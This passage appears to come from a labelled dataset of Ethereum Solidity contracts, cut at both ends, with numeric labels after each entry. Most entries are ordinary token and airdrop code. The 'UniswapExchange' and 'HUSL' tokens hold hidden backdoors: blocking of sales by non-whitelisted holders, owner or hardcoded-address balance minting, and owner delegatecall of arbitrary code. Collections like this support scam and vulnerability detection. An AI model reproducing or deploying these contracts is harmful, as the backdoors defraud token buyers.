require(min(exponent,0)!=exponent,"Bundle must have an exponent greater than 0.");
Bundle memory bundle = bundleTable[bundleID];
require(testValidBundle(bundle),"Bundle is invalid. Check decaytime, existence.");
require(bundle.owner == msg.sender,"Can only unbundle items owned by sender.");
Bundle memory newBundle = Bundle(msg.sender,bundle.decayedTime);
uint[] memory newBundleIDs = new uint[](10);
for (uint i=0; i<itemsPerBundle; i++){
uint id = generateBundleID(0,siblingTable[exponent-1][0],exponent-1);
bundleTable[id] = newBundle;
newBundleIDs[i] = id;
siblingTable[exponent-1][0] = siblingTable[exponent-1][0] + 1;
}
delete bundleTable[bundleID];
emit LogUnbundling(bundleID,newBundleIDs,newBundle.decayedTime,msg.sender);
}
function splitBundleID(uint bundleID) pure public returns (uint128 generation, uint128 sibling, uint8 exponent){
return(uint128((bundleID&generationMask)>>124),uint128((bundleID&siblingMask)),uint8((bundleID&exponentMask)>>248));
}
function generateBundleID(uint128 generation, uint128 sibling, uint8 exponent) pure public returns(uint bundleID){
return (uint(generation) << 124) | uint(sibling) | (uint(exponent) << 248);
}
function testValidBundle(Bundle memory bundle) view private returns (bool){
return
(bundle.decayedTime != 0) &&
(!isDecayed(bundle.decayedTime));
}
function isDecayed(uint decayedTime) view public returns (bool){
return (min(now,decayedTime) != now);
}
} | 1 | 2,601 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,125 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "The HUSL";
string public symbol = "HUSL";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForPancake(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,241 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destroyable is Ownable{
function destroy() public onlyOwner{
selfdestruct(owner);
}
}
interface Token {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address who) view external returns (uint256);
}
contract Airdrop is Ownable, Destroyable {
using SafeMath for uint256;
struct Beneficiary {
uint256 balance;
uint256 airdrop;
bool isBeneficiary;
}
bool public filled;
bool public airdropped;
uint256 public airdropLimit;
uint256 public currentCirculating;
uint256 public burn;
address public hell;
address[] public addresses;
Token public token;
mapping(address => Beneficiary) public beneficiaries;
event NewBeneficiary(address _beneficiary);
event SnapshotTaken(uint256 _totalBalance, uint256 _totalAirdrop, uint256 _toBurn,uint256 _numberOfBeneficiaries, uint256 _numberOfAirdrops);
event Airdropped(uint256 _totalAirdrop, uint256 _numberOfAirdrops);
event TokenChanged(address _prevToken, address _token);
event AirdropLimitChanged(uint256 _prevLimit, uint256 _airdropLimit);
event CurrentCirculatingChanged(uint256 _prevCirculating, uint256 _currentCirculating);
event Cleaned(uint256 _numberOfBeneficiaries);
event Burned(uint256 _tokensBurned);
modifier isNotBeneficiary(address _beneficiary) {
require(!beneficiaries[_beneficiary].isBeneficiary);
_;
}
modifier isBeneficiary(address _beneficiary) {
require(beneficiaries[_beneficiary].isBeneficiary);
_;
}
modifier isFilled() {
require(filled);
_;
}
modifier isNotFilled() {
require(!filled);
_;
}
modifier wasAirdropped() {
require(airdropped);
_;
}
modifier wasNotAirdropped() {
require(!airdropped);
_;
}
function Airdrop(address _token, uint256 _airdropLimit, uint256 _currentCirculating, address _hell) public{
require(_token != address(0));
token = Token(_token);
airdropLimit = _airdropLimit;
currentCirculating = _currentCirculating;
hell = _hell;
}
function() payable public {
addBeneficiary(msg.sender);
}
function register() public {
addBeneficiary(msg.sender);
}
function registerBeneficiary(address _beneficiary) public
onlyOwner {
addBeneficiary(_beneficiary);
}
function registerBeneficiaries(address[] _beneficiaries) public
onlyOwner {
for (uint i = 0; i < _beneficiaries.length; i++) {
addBeneficiary(_beneficiaries[i]);
}
}
function addBeneficiary(address _beneficiary) private
isNotBeneficiary(_beneficiary) {
require(_beneficiary != address(0));
beneficiaries[_beneficiary] = Beneficiary({
balance : 0,
airdrop : 0,
isBeneficiary : true
});
addresses.push(_beneficiary);
emit NewBeneficiary(_beneficiary);
}
function takeSnapshot() public
onlyOwner
isNotFilled
wasNotAirdropped {
uint256 totalBalance = 0;
uint256 totalAirdrop = 0;
uint256 airdrops = 0;
for (uint i = 0; i < addresses.length; i++) {
Beneficiary storage beneficiary = beneficiaries[addresses[i]];
beneficiary.balance = token.balanceOf(addresses[i]);
totalBalance = totalBalance.add(beneficiary.balance);
if (beneficiary.balance > 0) {
beneficiary.airdrop = (beneficiary.balance.mul(airdropLimit).div(currentCirculating));
totalAirdrop = totalAirdrop.add(beneficiary.airdrop);
airdrops = airdrops.add(1);
}
}
filled = true;
burn = airdropLimit.sub(totalAirdrop);
emit SnapshotTaken(totalBalance, totalAirdrop, burn, addresses.length, airdrops);
}
function airdropAndBurn() public
onlyOwner
isFilled
wasNotAirdropped {
uint256 airdrops = 0;
uint256 totalAirdrop = 0;
for (uint256 i = 0; i < addresses.length; i++)
{
Beneficiary storage beneficiary = beneficiaries[addresses[i]];
if (beneficiary.airdrop > 0) {
require(token.transfer(addresses[i], beneficiary.airdrop));
totalAirdrop = totalAirdrop.add(beneficiary.airdrop);
airdrops = airdrops.add(1);
}
}
airdropped = true;
currentCirculating = currentCirculating.add(totalAirdrop);
emit Airdropped(totalAirdrop, airdrops);
emit Burned(burn);
token.transfer(hell, burn);
}
function clean() public
onlyOwner {
for (uint256 i = 0; i < addresses.length; i++)
{
Beneficiary storage beneficiary = beneficiaries[addresses[i]];
beneficiary.balance = 0;
beneficiary.airdrop = 0;
}
filled = false;
airdropped = false;
burn = 0;
emit Cleaned(addresses.length);
}
function changeToken(address _token) public
onlyOwner {
emit TokenChanged(address(token), _token);
token = Token(_token);
}
function changeAirdropLimit(uint256 _airdropLimit) public
onlyOwner {
emit AirdropLimitChanged(airdropLimit, _airdropLimit);
airdropLimit = _airdropLimit;
}
function changeCurrentCirculating(uint256 _currentCirculating) public
onlyOwner {
emit CurrentCirculatingChanged(currentCirculating, _currentCirculating);
currentCirculating = _currentCirculating;
}
function flushEth() public onlyOwner {
owner.transfer(address(this).balance);
}
function flushTokens() public onlyOwner {
token.transfer(owner, token.balanceOf(address(this)));
}
function destroy() public onlyOwner {
token.transfer(owner, token.balanceOf(address(this)));
selfdestruct(owner);
}
function tokenBalance() view public returns (uint256 _balance) {
return token.balanceOf(address(this));
}
function getBalanceAtSnapshot(address _beneficiary) view public returns (uint256 _balance) {
return beneficiaries[_beneficiary].balance / 1 ether;
}
function getAirdropAtSnapshot(address _beneficiary) view public returns (uint256 _airdrop) {
return beneficiaries[_beneficiary].airdrop / 1 ether;
}
function amIBeneficiary(address _beneficiary) view public returns (bool _isBeneficiary) {
return beneficiaries[_beneficiary].isBeneficiary;
}
function beneficiariesLength() view public returns (uint256 _length) {
return addresses.length;
}
} | 1 | 4,750 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name;
address public originId;
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress
) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount);
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6;
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6;
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
(
(isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)
)
);
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress
) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
return _totalWeightedIons.div(_totalIons);
} else {
return _additionalWeightedMultiplier;
}
}
function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier));
return multiplier.div(_MULTIPLIER_DIVISOR);
} else {
return 0;
}
}
function calculateNetworkBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) {
uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2));
uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR);
return bonusPercentage;
} else {
return 0;
}
}
function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
